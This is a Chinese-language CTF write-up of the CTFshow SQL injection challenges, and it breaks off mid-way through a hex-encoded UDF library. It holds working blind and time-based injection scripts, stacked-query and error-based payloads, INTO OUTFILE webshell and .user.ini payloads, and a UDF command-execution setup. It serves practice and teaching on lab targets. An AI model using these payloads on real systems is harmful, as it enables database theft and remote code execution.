CTFSHOW-SQL注入

文章发布时间:

最后更新时间:

CTF-SHOW SQL 做题记录

  1. 盲注

    1
    $sql = "select pass from ctfshow_user where username = '{$username}'";

    回显点:密码错误与用户名不存在

    过滤

    1
    preg_match('/file|into|ascii/i', $username)

    绕过 ascii<=>ord

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    # coding=gbk
    import requests


    url = "http://cf76bf80-228d-441d-a697-07766df6cae6.challenge.ctf.show/api/"

    # 二分法查找
    result = ""
    i = 0

    while True:
    i = i + 1
    head = 32
    tail = 127
    while head < tail:
    mid = (head + tail) >> 1
    # 查版本
    #payload = "select version()"
    # 查表 ctfshow_fl0g,ctfshow_user
    # payload = "select group_concat(table_name) from information_schema.tables where table_schema = database()"
    # 查列 id,f1ag
    # payload = "select group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_fl0g'"
    # 查值
    payload = "select group_concat(id, f1ag) from ctfshow_fl0g"
    data = {
    'username':f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,2)='1",
    'password':'1'
    }
    r = requests.post(url, data=data)
    if(r.json()['msg']=='密码错误'):
    head = mid + 1
    else:
    tail = mid

    if head != 32:
    # 检验最终位
    result += chr(head)
    else:
    break
    print(result)
  2. 盲注

    ord改用正则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# coding=gbk
import requests
import string
import time

url = "http://50fdc8ac-7670-400c-a757-1b73cecc96b2.challenge.ctf.show/api/"

db = string.ascii_lowercase + string.digits + "{_-}"
flag = ''
for i in range(1, 50):
for j in db:
payload = "select group_concat(id, f1ag) from ctfshow_fl0g"
data = {
'username':f"admin' and if(substr(({payload}),{i},1)regexp'{j}',1,2)='1",
'password':'1'
}
r = requests.post(url, data=data)
if(r.json()['msg']=='密码错误'):
flag += j
print(flag)
if "}" == j:
exit(0)
break
time.sleep(0.1)
  1. 盲注

    substr改用mid

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    # coding=gbk
    import requests
    import string
    import time

    url = "http://3eea53d5-0746-4794-84c3-da7f7c73b5a1.challenge.ctf.show/api/"

    db = string.ascii_lowercase + string.digits + "{_-},"
    flag = ''
    for i in range(1, 50):
    for j in db:
    #
    # payload = "select group_concat(table_name) from information_schema.tables where table_schema = database()"
    #payload = "select group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_flxg'"
    # 查列 id,f1ag ctfshow_flxg ctfshow_user
    payload = "select group_concat(id, f1ag) from ctfshow_flxg"
    data = {
    'username':f"admin' and if(mid(({payload}),{i},1)regexp'{j}',1,2)='1",
    'password':'1'
    }
    r = requests.post(url, data=data)
    if(r.json()['msg']=='密码错误'):
    flag += j
    print(flag)
    if "}" == j:
    exit(0)
    break
    time.sleep(0.1)
  2. 盲注

    不影响mid 没被过滤

    还有人用LOCATE、POSITION、INSTR、FIND_IN_SET、IN、LIKE一类

  3. 堆叠注入

    直接根据之前查到的表暴力改密码

    1
    0;update`ctfshow_user`set`pass`=1;
  4. 堆叠注入

    限制了用户名长度 过滤的地方好像写错了

    但是由于最后回显了1应该是绕过登陆了,比较玄

    1
    1;select+1;
  5. 堆叠注入

    这里用到了堆叠的另一个应用,换列大法

    使用RENAME关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名

    这题利用的是password为纯数字的特性,然后id也是纯数字。只需要将id列换成pass然后去匹配username那一列的id即可 (只不过不知道它这个username是咋知道的有0

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    # coding=gbk
    import requests

    url = "http://3c983893-89b6-4b85-a956-a2af007fee5a.challenge.ctf.show/api/"
    for i in range(100):
    if i == 0:
    data = {
    "username": "1;alter table `ctfshow_user` change column `pass` `whatever` varchar(255);alter table `ctfshow_user` change column `id` `pass` varchar(255);",
    "password": f"{i}"
    }
    r = requests.post(url, data=data)
    data = {
    "username": '0',
    "password": f"{i}"
    }
    r = requests.post(url, data=data)
    if "登陆成功" in r.json()['msg']:
    print(r.json()['msg'])
    break
  6. 堆叠注入 继续打 alter没被过滤

  7. 堆叠注入 把(给过滤了 这里的用法跟196一样 思路就是改回显数据为我们已知的,只不过这道题的select被ban了,但我们知道表名

    1
    1;show tables;
  8. 堆叠注入 多了个过滤,原理一样

  9. sqlmap 直接探测好想不大行 加 —refer 常规查即可

  10. sqlmap data传参

  11. sqlmap 该用put提交? 另外请求url变化了不太明白。由于PUT提交这里还需要注意的是需要改变请求头中的数据类型,免得被识别成表单数据

    1
    sqlmap -u "u/api/index.php" --method="PUT" --refers="ctf.show" --headers="Content-Type: text/plain;" --data="id=1" 
  12. sqlmap 在之前的基础上加上cookie的数据

  13. sqlmap 需要鉴权 可以看到在访问api之前还需要去请求一个getToken页面,所以利用sqlmap设置好注入测试期间需要访问的页面及次数

    image-20220818192902086

  14. 时间盲注

    主要是找注入点比较难搞,不知道他们咋找到的参数

    image-20220821000503093

POC and 好像被过滤了

1
ip=-1 or if(1=1,sleep(3),1)%23

这里还学到了写脚本当中request方法中的timeout参数,超时则会抛出异常

image-20220821002449867

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# coding=gbk

import requests

url = "http://a6530d33-5713-4b2d-aff5-b818b24742ea.challenge.ctf.show/api/"

result = ""
i = 0

while True:
i += 1
head = 32
tail = 127
while head < tail:
#payload = "select version()"
#payload = "select database()"
#payload = "select group_concat(table_name) from information_schema.tables where table_schema = database()"
#payload = "select group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_flagx'"
payload = "select group_concat(flaga) from ctfshow_flagx"
mid = (head + tail) >> 1
data = {
'ip': f"if((ascii(substr(({payload}),{i},1))>{mid}),sleep(1),1)",
'debug':'1'
}
try:
r = requests.post(url, data=data, timeout=1)
tail = mid
except Exception as e:
head = mid + 1

if head != 32:
result += chr(head)
else:
break
print(result)
  1. 时间盲注

    加了单引号闭合

    POC

    1
    ip=123' or if(1=(select 1),sleep(3),1)#&debug=1

    继续打

  2. 时间盲注,解base64。搞不明白它们这个参数是咋设置的。。。

    想明白了语句应该是这样

    1
    select id from ctfshow_info where id=from_base64($ip);

    image-20220821010336365

    image-20220821011728324

    刚开始想的直接把整个注入语句进行编码就行。但是不太行,应该是它这个参数换了的原因…。所以就沿用闭合语句的方式

    1
    ip='') or if(1=(select 1),sleep(3),1)#
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    # coding=gbk

    import requests
    from base64 import b64encode

    url = "http://e299192d-1775-4b13-90a7-41900827d68e.challenge.ctf.show/api/"

    result = ""
    i = 0

    while True:
    i += 1
    head = 32
    tail = 127
    while head < tail:
    #payload = "select version()"
    #payload = "select database()"
    payload = "select group_concat(table_name) from information_schema.tables where table_schema = database()"
    #payload = "select group_concat(column_name) from information_schema.columns where table_name = 'ctfshow_flagxc'"
    #payload = "select group_concat(flagaa) from ctfshow_flagxc"
    mid = (head + tail) >> 1
    data = {
    'ip': f"'') or if((ascii(substr(({payload}),{i},1))>{mid}),sleep(1),1)#",
    'debug':'1'
    }
    try:
    r = requests.post(url, data=data, timeout=1)
    tail = mid
    except Exception as e:
    head = mid + 1

    if head != 32:
    result += chr(head)
    else:
    break
    print(result)
  3. 时间盲注

    语句闭合采用括号的形式,sleep函数终于也被ban了。试试新的benchmark

    执行表达式exp,count次(消耗CPU)

    image-20220822123554567

    POC

    1
    ip=1) or if(1=2, benchmark(1000000, md5(1)), 1)
  4. 时间盲注

    这次把benchmark也给屏蔽了

    这里便引出第三种时间盲注的方法:笛卡尔积

    我们将mysql内置库表进行笛卡尔积查询,其查询开销将变得巨大

    1
    select count(*) from information_schema.columns A,information_schema.columns B;
 <img src="/image-20220828125029627.png" alt="image-20220828125029627" style="zoom:50%;" />

 POC

 
1
ip=1) or if(1=2, (select count(*) from information_schema.columns A,information_schema.columns B), 1)#

不过容易直接把服务器搞崩,估摸着是并两个表就已经很长时间了导致的,最多能延个5s左右

利用RLIKE REGEXP正则匹配

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

正则语法:
. : 匹配任意单个字符
* : 匹配0个或多个前一个得到的字符
[] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
^ : 匹配开头,如^s匹配以s或者S开头的字符串。
$ : 匹配结尾,如s$匹配以s结尾的字符串。
{n} : 匹配前一个字符反复n次。

RPAD(str,len,padstr)
用字符串 padstr对 str进行右边填补直至它的长度达到 len个字符长度,然后返回 str。如果 str的长度长于 len',那么它将被截除到 len个字符。
mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'

repeat(str,times) 复制字符串times次
1
select concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+b'

这个可以延时5s,等价于sleep(5)

POC

1
ip=1) or if(1=2, (select rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+'), 1)#
  1. 时间盲注

    这波把上一轮的rlike给用了,只能再试一试笛卡尔积

    POC

    1
    ip=1) or if(1=2, (select count(*) from information_schema.columns A,information_schema.columns B), 1)#

    时间参数真的难调,最后合并一下才能提交

    image-20220828173629345

  2. 时间盲注 这次过滤了前面用到的一大截包括字符串截取函数

    image-20220828174052474

依照上一个笛卡尔积的脚本,我们作相关函数的替换

ascii替换为字符串匹配,substr替换为leftgroup_concat的话用limit慢慢出

太不容易了淦

image-20220828221658391

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# coding=gbk
import requests
import time
import string
url = "http://63e8e9cb-226f-4b44-8f90-c4ef31182595.challenge.ctf.show/api/"
db = '0123456789abcdef-{},_'
result = "ctfshow{fcba847d-bf3b-4f6a-942b"
# 4f6a-942b-0

while True:
for s in db:
#payload = "select version()" ctfshow_flagxca,ctfshow_info
#payload = "select column_name from information_schema.columns where table_name = 'ctfshow_flagxcac' limit 1,1"
#payload = "select table_name from information_schema.tables where table_schema = database() limit 0, 1"
payload = "select flagaabcc from ctfshow_flagxcac limit 0, 1"
data = {
'ip':f"1) or if(({payload}) like '{result+s}%', (select count(*) from information_schema.columns A,information_schema.columns B), 1",
"debug":'1'
}
result += s
try:
r = requests.post(url, data=data, timeout=0.3)
result = result[:-1]
except Exception as e:
print(result)
break
time.sleep(0.2)
if result[-1] == '}':
break
  1. limit注入

    参考学习P神https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html

    版本适用于mysql 5.x

    可以利用procedure analyse(xxx,1)配合报错注入或者时间盲注(报错里面套benchmark)

    ctfshow_web_flag_x

    payload

    1
    page=1&limit=1 procedure analyse(extractvalue(0x7e, concat((select version()), 0x7e)),1)

    这里分清一个概念就是:对于limit注入如果存在group by字段的话是不可以跟union的;如果不存在的话也可以直接union注入,不过这关好像是过滤掉了select

  2. group by注入

    应该是和order by注入差不多,可以直接利用盲注,username和id字段的回显就不一样。

    至于如何寻找的字段

    image-20220829203146986

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    # coding=gbk
    from unittest import result
    import requests
    # 1199 252
    url = "http://24b1d804-1f69-4732-89d1-6a70e05693ad.challenge.ctf.show/api/index.php"

    result = ""
    i = 0

    while True:
    i += 1
    head = 32
    tail = 127
    while head < tail:
    mid = (head + tail) >> 1
    # payload = "select database()" ctfshow_web ctfshow_flaga
    payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
    payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'"
    payload = "select flagaabc from ctfshow_flaga"
    params = {"u": f"if(ord(substr(({payload}), {i}, 1))>{mid}, id, username)"}
    r = requests.get(url, params=params)
    if(len(r.text)==1199):
    head = mid + 1
    else:
    tail = mid

    if head != 32:
    result += chr(head)
    else:
    break
    print(result)
  3. group by注入

    与上一关不同的是,这一关的把数字给过滤掉了。回忆一下,1其实和true是等同的并且后者同样满足加减运算规则

    image-20220829204641616

    所以只需将上一关涉及到数字的替换即可

    1
    2
    def replaceNum(num):
    return '+'.join(['true']*num)
  4. 综合题

    存在robots.txt,里面写了pwdreset.php,访问发现是一个密码重置界面。登陆进去以后是文件上传。因为文件上传的骚姿势还没学,直接上传群里的payload.bin,会在同目录下生成1.php木马,命令执行即可。分析一下bin文件,可以看到里面也有sql的写文件操作。应该是文件上传配合sql写文件(这里利用了堆叠注入)

    <?=$_GET[1]\\`?>`

    1
    "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+

    image-20220829215532144

  5. 堆叠注入

    image-20220829220430918

    过滤

    image-20220829220448528

前面的表名和列名可以用show来替换select

1
2
3
4
5
6
# 表
'; show tables; # ctfshow_flagasa
# 列
';desc ctfshow_flagasa; # flagas
或者
';show columns from ctfshow_flagasa;

最后的select利用的是handler:(另一种方法是预处理语句)

1
2
3
4
5
6
7
8
9
10
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

image-20220829221912523

payload

1
?username=';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
  1. 堆叠注入

    这一关多过滤了show和左括号

    所以这一关用到了预处理语句

    参考

    https://www.cnblogs.com/geaozhang/p/9891338.html

    1
    2
    3
    4
    5
    6
    # 定义预处理语句
    PREPARE stmt_name FROM preparable_stmt;
    # 执行预处理语句
    EXECUTE stmt_name [USING @var_name [, @var_name] ...];
    # 删除(释放)定义
    {DEALLOCATE | DROP} PREPARE stmt_name;

    image-20220829224021570

    对于上一关使用预处理语句的话,因为preparable_stmt是一个字符串,所以可以通过拼接的方式来绕过敏感函数

    比如

    1
    concat('sele','ct')

    这一关则是利用16进制编码绕过

    1
    2
    3
    ';prepare a from 0x73686f77207461626c6573;execute a;    #ctfsh_ow_flagas
    ';prepare a from 0x646573632063746673685f6f775f666c61676173;execute a; # flagasb
    ';prepare a from 0x73656c65637420666c61676173622066726f6d2063746673685f6f775f666c61676173;execute a;
  2. 堆叠注入

    首先看过滤,比之前多了一个逗号,之前的payload还可以用。而且这次sql语句中直接给出了表名和字段名

    image-20220831222751226

    查找原来的字段发现已经不在里头了

image-20220831222707507

这道题考查的是sql的存储过程

1
2
3
4
5
6
存储程序(Stored Procedure)是一种在数据库中存储复杂程序,以便外部程序调用的一种数据库对象。

存储过程是为了完成特定功能的SQL语句集,经编译创建并保存在数据库中,用户可通过指定存储过程的名字并给定参数(需要时)来调用执行。

存储过程思想上很简单,就是数据库 SQL 语言层面的代码封装与重用。
调用: call function()

也就是可以预定义一些函数来方便调用。而这些函数存在与information_schema.routines表中,按常规直接去查

已经发现

image-20220831224759340

也可以

1
';call getFlag();

228 - 230. 堆叠注入

这关黑名单存入了数据库里,然后仍然可以编码绕过

  1. update注入

    利用了一个update重复给字段赋值的特性,最后呈现出来的结果随后面的字段,所以根据这个特性我们就可以将敏感数据回显到可见字段上

    image-20220831230413007

    注意闭合引号

    payload

    1
    2
    3
    4
    password=1', username=database()%23&username=1
    password=1', username=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&username=1
    password=1', username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')%23&username=1
    password=1', username=(select group_concat(flagas) from flaga)%23&username=1
  2. update注入

    image-20220831231356971

前面多了个md5和括号,闭合即可')

  1. update注入

    image-20220831235747598

    和之前一样也没有过滤,sql语句也一样,但是没有回显变化。尝试盲注

    发现在http://230a1b50-8335-4eb0-9629-4a988a675b30.challenge.ctf.show/api/页面存在时间延迟,直接打

    还想复杂了,直接跟select一样,不过需要注意的一点是,update查询是一行一行查询,每行都会触发一个sleep函数,所以要选小一点

    时间参数真的不好调…..

    POC

    1
    username=1' or if(ascii(substr(({payload}),{i},1))>{mid}, sleep(0.05), 1)#&password=1

    exp

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    # coding=gbk

    import requests
    import time

    url = 'http://0346fc96-8f6a-4f38-87d6-7a77545eb2a7.challenge.ctf.show/api/?page=1&limit=10'

    result = ""
    i = 0

    while True:
    i += 1
    head = 32
    tail = 127
    while head < tail:
    # ctfstow{34fcde14-25fa-467c-8f50-73f171dbd3b5}
    mid = (head + tail) >> 1
    payload = "select group_concat(column_name) from information_schema.columns where table_name='flag233333'"
    payload = "select group_concat(flagass233) from flag233333"
    payload = "select database()"
    data = {
    'password': f"1', pass=if(ascii(substr(({payload}),{i},1))>{mid}, sleep(0.05), 1)#",
    'username': '1'
    }
    try:
    r = requests.post(url, data=data, timeout=0.9)
    tail = mid
    except Exception as e:
    head = mid + 1
    if head != 32:
    result += chr(head)
    else:
    break
    print(result)
  2. update注入

    这道题过滤了引号

    image-20220901090838288

1
update ctfshow_user set pass = '{$password}' where username = '{$username}';

由于无法再用引号去闭合语句,利用反斜杠的方法进行逃逸。然后pass就等于' where username =,后面依然可用重复字段的注入方式

1
2
3
4
update ctfshow_user set pass = '\' where username = ', pass=(select database());
update ctfshow_user set pass = '\' where username = ', pass=(select group_concat(table_name) from information_schema.tables where table_schema=database()); # flag23a
update ctfshow_user set pass = '\' where username = ', pass=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361); # flagass23s3
update ctfshow_user set pass = '\' where username = ', pass=(select flagass23s3 from flag23a);
  1. update注入

    过滤了or和单引号。之前的payload中因为存在information_schema关键词,里面包含了or,所以不能继续用

    考虑使用innodb存储引擎来绕过

    InnoDB新增加了两张表innodb_index_statsinnodb_table_stats,这两张表记录了所有新建的数据库与表

    image-20220901092843388

    image-20220901092913176

    这两个表都可以来查库和表名,遗憾的是并没有字段名可以查到。需要注意的是innodb这两张表位于mysql库当中

    1
    2
    3
    4
    5
    6
    7
    update ctfshow_user set pass = '\' where username = ', pass=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database());
    # innodb_index_stats表不知道为啥没法用where #flag23a1
    哦也可以这么写
    -- 查询所有新增数据库
    select group_concat(distinct database_name) from mysql.innodb_index_stats;
    -- 查询当前数据库中的所有表名
    select group_concat(distinct table_name) from mysql.innodb_index_stats where database_name=schema();

    对于字段无法这么弄,采用无列名注入

    https://zhuanlan.zhihu.com/p/98206699

    1
    2
    3
    4
    5
    6
    7
    8
    -- 先猜出字段数
    select 1,2,3 union select * from admin;
    -- 我们的列名被替换为了对应的数字,也就是可以去用数字来查我们想知道的列值
    select `3` from (select 1,2,3 union select * from admin)a;
    -- 或者在引号被过滤的情况下采用别名的方式
    select b from (select 1,2,3 as b union select * from admin)a;
    -- 多列同时查
    select concat(`2`,0x7e,`3`) from (select 1,2,3 union select * from admin)a;

    payload

    1
    password=\&username=, pass=(select group_concat(`2`) from(select 1,2,3 union select * from flag23a1)a)%23
  2. update注入

    这里把flag关键字也给过滤了,但不知道为啥可以直接打

  3. insert注入

    image-20220901145550324

image-20220901145557375

思路和select中的post注入一致,也就是闭合前面参数,注释后面的参数

payload

1
2
3
4
username=whatever', database());%23&password=whatever
username=whatever', (select group_concat(table_name) from information_schema.tables where table_schema=database()));%23&password=whatever #flag
username=whatever', (select group_concat(column_name) from information_schema.columns where table_name=0x666c6167));%23&password=whatever # flagass23s3
username=whatever', (select flagass23s3 from flag));%23&password=whatever
  1. insert注入

    过滤了空格,直接用+替换发现不太行,可能是hackbar二次编码的缘故,该用括号子查询的方式绕过空格

    使用括号,括号是用来包围子查询的;因此任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格

    1
    2
    3
    username=whatever',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));%23&password=whatever   # flagb
    username=whatever',(select(group_concat(column_name))from(information_schema.columns)where(table_name=0x666c616762)));%23&password=whatever #flag
    username=whatever',(select(flag)from(flagb)));%23&password=whatever
  2. insert注入

    又把or过滤了,先用innodb引擎代替差表

    1
    username=whatever',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())));%23&password=whatever   # flagbb

    本来之后是想试试无列名注入,发现好像不行。发现解是盲猜的字段名flag

    1
    username=whatever',(select(flag)from(flagbb)));%23&password=whatever
  3. insert注入

    1
    过滤空格 or sys mysql

Hint: 表名共9位,flag开头,后五位由a/b组成,如flagabaab,全小写

也就是说前面表我们是查不了了,只能自己爆破出来

1
username=whatever',(select(flag)from(flag{爆破点})));%23&password=whatever

哦哦其实就是自己把所有的可能全部试一遍,然后正确的肯定在里头,也就会把flag显示出来

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# coding=gbk
import requests

url = "http://ebc292e9-b356-434a-b046-ec9c85cfb099.challenge.ctf.show/api/insert.php"
# username=whatever',(select(flag)from(flag{爆破点})));%23&password=whatever
for a in "ab":
for b in "ab":
for c in "ab":
for d in "ab":
for e in "ab":
test = "flag" + a + b + c + d + e
data = {
"username": f"whatever',(select(flag)from({test})));#",
"password": "whatever"
}
r = requests.post(url, data=data)
  1. delete注入

    参数点为post传参,名字为id

image-20220901171714517

sql语句,没有过滤

image-20220901171756099

没有回显点,考虑时间盲注,注意的是时间开销上是所有记录之和

1
delete from ctfshow_user where id = if(1=1, sleep(0.03), 1)
  1. file注入

    题面给出了一个写文件操作,filename可控

    image-20220902164638250

    POST传参,参数为filename

image-20220902164825092

这里利用到了into outfile后面的一些其他输出参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
SELECT ... INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
[export_options]

export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']//分隔符
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
----------------------------------------------------
“OPTION”参数为可选参数选项,其可能的取值有:

`FIELDS TERMINATED BY '字符串'`:设置字符串为字段之间的分隔符,可以为单个或多个字符。默认值是“\t”。

`FIELDS ENCLOSED BY '字符'`:设置字符来括住字段的值,只能为单个字符。默认情况下不使用任何符号。

`FIELDS OPTIONALLY ENCLOSED BY '字符'`:设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。

`FIELDS ESCAPED BY '字符'`:设置转义字符,只能为单个字符。默认值为“\”。

`LINES STARTING BY '字符串'`:设置每行数据开头的字符,可以为单个或多个字符。默认情况下不使用任何字符。

`LINES TERMINATED BY '字符串'`:设置每行数据结尾的字符,可以为单个或多个字符。默认值是“\n”。

最后两个参数的作用可以让我们在写入文件中挂马

payload: 注意双引号好像被转义了,之后蚁剑去连接就行

1
filename=1.php' LINES STARTING BY '<?php @eval($_POST[1]); ?>'#
  1. file注入

    这题过滤了php关键字,本来以为试试用phtml。但是wp看着这题的考点是上传配置文件user.ini。。。结合了文件上传

    在/var/www/html/dump目录下存在一个index.php文件,所以在同目录下我们可以去通过上传.user.ini配置文件,来实现文件包含的功能。将恶意代码包含到index.php中

    这里比较坑的是要保证配置项单独占一行,所以还要加上换行符

    不然会出现这种情况

    image-20220902172059797

    1
    2
    3
    filename=.user.ini'  lines starting by 'auto_prepend_file = 1.txt\n'%23 #包含文件
    # 写马的话就写简化版的
    filename=1.txt' LINES STARTING BY '<?= eval($_POST[1])?>'%23 #注入马
  2. 报错注入

    题面,无过滤,单引号闭合

    image-20220902195304990

    参数点为id,注入检测时发现报错回显,可以利用报错注入

    image-20220902195411798

exp: 需要注意的是由于此报错注入和updatexml都只能爆最大32位,如果要爆出32位之后的数据,需要借助mid或者substr等切割函数进行字符截取从而显示32位以后的数据

1
2
3
4
id=1' and extractvalue(1, concat(0x23, (select version()))) %23
id=1' and extractvalue(1, concat(0x23, (select group_concat(table_name) from information_schema.tables where table_schema=database()))) %23 # ctfshow_flag
id=1' and extractvalue(1, concat(0x23, (select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'))) %23 #flag
id=1' and extractvalue(1, concat(0x23, substr((select group_concat(flag) from ctfshow_flag),xx,xx))) %23
  1. 报错注入

    过滤了updatexml,上面的继续打

  2. 报错注入

    1
    过滤updatexml extractvalue

这里学一个floor报错注入,floor注入有个特点是没法用group_concat了,应该是外面还套了个concat的缘故,所以该用limit慢慢注出来

exp:

1
2
3
4
5
SELECT COUNT(*),floor(RAND(0)*2) as x from users GROUP BY x
1' and (select 1 from (select count(*), concat(0x7e, database(), 0x7e, floor(rand(0)*2)) as x from ctfshow_user group by x ) as y)%23
id=1' and (select 1 from (select count(*), concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 1,1), 0x7e, floor(rand(0)*2)) as x from ctfshow_user group by x ) as y)%23 # ctfshow_flags
id=1' and (select 1 from (select count(*), concat(0x7e, (select column_name from information_schema.columns where table_name='ctfshow_flags' limit 1,1), 0x7e, floor(rand(0)*2)) as x from ctfshow_user group by x ) as y)%23 # flag2
id=1' and (select 1 from (select count(*), concat(0x7e, (select flag2 from ctfshow_flags limit 0,1), 0x7e, floor(rand(0)*2)) as x from ctfshow_user group by x ) as y)%23
  1. 报错注入

    1
    过滤updatexml extractvalue floor

其实还是可以继续基于floor的原理,找一个可以实现类似功能的函数即可。floor与rand搭配是用于能产生固定的序列

image-20220902203422524

floor本身用于向下取整,小数部分舍弃。试试round或者ceil。也没有问题

image-20220902203730588

把上一关的payload关键词改成ceil即可

ctfshow_flagsa flag? 注意这里的字段名flag?里面的?为保留字符,所以需要包在反引号当中作为区分

  1. UDF注入

    先把sqlmap自带的可以执行命令的UDF文件进行解码

    image-20220904000411089

    其次便是要将这个文件放到目标机器的plugin目录下。如何查找该目录?

    1
    2
    3
    show variables like '%plugin%';
    # 或者
    select @@plugin_dir

    image-20220904000757048

    查询方式:利用堆叠注入

    payload:

    1
    ?id=';show variables like '%plugin%'; %23

    image-20220904001223713

查到plugin路径为:/usr/lib/mariadb/plugin

后面便是将文件写入进去,最后执行文件

1
2
3
4
5
select unhex(...) into dumpfile "/usr/lib/mysql/plugin/lib_mysqludf_sys.so"
-- 引用共享库文件创建存储过程
create function sys_eval returns string soname "lib_mysqludf_sys.so";
select sys_eval("whoami");
drop function sys_eval; # 清除

create function格式

1
2
3
CREATE FUNCTION <函数名> ( [ <参数1> <类型1> [ , <参数2> <类型2>] ] … )
RETURNS <类型>
<函数主体>

因为不太会写所以看了wp。这里有个细节就是文件大小问题,因为可能一次写入的长度有限制,所以wp选择了将udf文件分成5次写入到目标机器的txt文件中。最后再读出并且合并写入最终的so文件当中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# coding=gbk

import requests

base_url = "http://419365ab-bd53-41c5-8ee6-cfce555b8be5.challenge.ctf.show/api/"

udf_inhex = "7F454C4602010100000000000000000003003E0001000000800A000000000000400000000000000058180000000000000000000040003800060040001C0019000100000005000000000000000000000000000000000000000000000000000000C414000000000000C41400000000000000002000000000000100000006000000C814000000000000C814200000000000C8142000000000004802000000000000580200000000000000002000000000000200000006000000F814000000000000F814200000000000F814200000000000800100000000000080010000000000000800000000000000040000000400000090010000000000009001000000000000900100000000000024000000000000002400000000000000040000000000000050E574640400000044120000000000004412000000000000441200000000000084000000000000008400000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000040000001400000003000000474E5500D7FF1D94176ABA0C150B4F3694D2EC995AE8E1A8000000001100000011000000020000000700000080080248811944C91CA44003980468831100000013000000140000001600000017000000190000001C0000001E000000000000001F00000000000000200000002100000022000000230000002400000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED971581CA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF3B9FD4A0AD73D1C50B5911FEAB5FBE1200000000000000000000000000000000000000000000000000000000000000000300090088090000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000CD00000012000000000000000000000000000000000000001E0100001200000000000000000000000000000000000000620100001200000000000000000000000000000000000000E30000001200000000000000000000000000000000000000B90000001200000000000000000000000000000000000000680100001200000000000000000000000000000000000000160000002200000000000000000000000000000000000000540000001200000000000000000000000000000000000000F00000001200000000000000000000000000000000000000B200000012000000000000000000000000000000000000005A01000012000000000000000000000000000000000000005201000012000000000000000000000000000000000000004C0100001200000000000000000000000000000000000000E800000012000B00D10D000000000000D1000000000000003301000012000B00A90F0000000000000A000000000000001000000012000C004811000000000000000000000